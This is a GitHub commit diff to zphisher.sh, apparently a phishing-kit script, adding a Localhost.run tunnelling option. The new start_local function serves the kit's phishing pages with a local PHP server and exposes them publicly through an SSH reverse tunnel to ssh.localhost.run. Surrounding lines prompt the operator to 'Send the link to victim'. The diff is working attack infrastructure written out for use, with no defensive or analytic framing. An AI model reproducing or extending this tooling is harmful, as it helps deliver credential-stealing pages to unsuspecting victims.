Skip to content

Commit 5c569ff

Browse files
authored
Update zphisher.sh
1 parent 90a1fdb commit 5c569ff

File tree

1 file changed

+24
-3
lines changed

1 file changed

+24
-3
lines changed

zphisher.sh

Lines changed: 24 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -209,16 +209,17 @@ fi
209209
printf "\n"
210210
printf "\e[96m[\e[0m\e[1;77m01\e[96m]\e[0m\e[1;93m Ngrok.io\e[0m\n"
211211
printf "\e[96m[\e[0m\e[1;77m02\e[96m]\e[0m\e[1;93m Serveo.net\e[0m\n"
212-
printf "\e[96m[\e[0m\e[1;77m03\e[96m]\e[0m\e[1;93m Localhost.run \e[0m\e[1;92m(Coming soon)\e[0m\n"
212+
printf "\e[96m[\e[0m\e[1;77m03\e[96m]\e[0m\e[1;93m Localhost.run\e[0m\n"
213213
d_o_server="2"
214214
printf "\e[0m\n"
215215
read -p $'\e[96m[\e[0m\e[1;77m~\e[96m]\e[0m\e[1;92m Select a Port Forwarding option: \e[0m\e[1;96m\en' option_server
216216
option_server="${option_server:-${d_o_server}}"
217217
if [[ $option_server == 2 || $option_server == 02 ]]; then
218218
start_s
219-
220219
elif [[ $option_server == 1 || $option_server == 01 ]]; then
221220
start_n
221+
elif [[ $option_server == 3 || $option_server == 03 ]]; then
222+
start_local
222223
else
223224
printf "\e[1;93m [!] Invalid option [!]\e[0m\n"
224225
sleep 1
@@ -323,7 +324,27 @@ ngrok_link=$(curl -s -N http://127.0.0.1:4041/api/tunnels | grep -o "https://[0-
323324
printf "\n\e[96m[\e[0m\e[1;77m~\e[96m]\e[0m\e[1;96m Send the link to victim :\e[0m\e[1;93m %s \n" $ngrok_link
324325
found
325326
}
326-
327+
start_local(){
328+
def_port="5555"
329+
printf "\e[0m\n"
330+
printf '\e[96m[\e[0m\e[1;77m~\e[96m]\e[0m\e[1;92m Select a Port (Default:\e[0m\e[1;96m %s \e[0m\e[1;92m): \e[0m\e[1;96m' $def_port
331+
read port
332+
port="${port:-${def_port}}"
333+
printf "\e[0m\n"
334+
printf "\e[96m[\e[0m\e[1;77m~\e[96m]\e[0m\e[1;92m Initializing...\e[0m\e[1;92m(\e[0m\e[1;96mlocalhost:$port\e[0m\e[1;92m)\e[0m\n"
335+
cd htdocs && php -S 127.0.0.1:$port > /dev/null 2>&1 &
336+
sleep 2
337+
printf "\e[0m\n"
338+
printf "\e[96m[\e[0m\e[1;77m~\e[96m]\e[0m\e[1;92m Launching LocalHostRun ..\e[0m\n"
339+
printf "\n"
340+
if [[ -e linksender ]]; then
341+
rm -rf linksender
342+
fi
343+
printf "\n\e[96m[\e[0m\e[1;77m~\e[96m]\e[0m\e[1;96m Press Ctrl + C to exit.\e[0m\n"
344+
printf "\e[1;93m\n"
345+
ssh -R 80:localhost:$port ssh.localhost.run 2>&1
346+
printf "\e[0m\n"
347+
}
327348
found() {
328349

329350
printf "\n"

0 commit comments

Comments
 (0)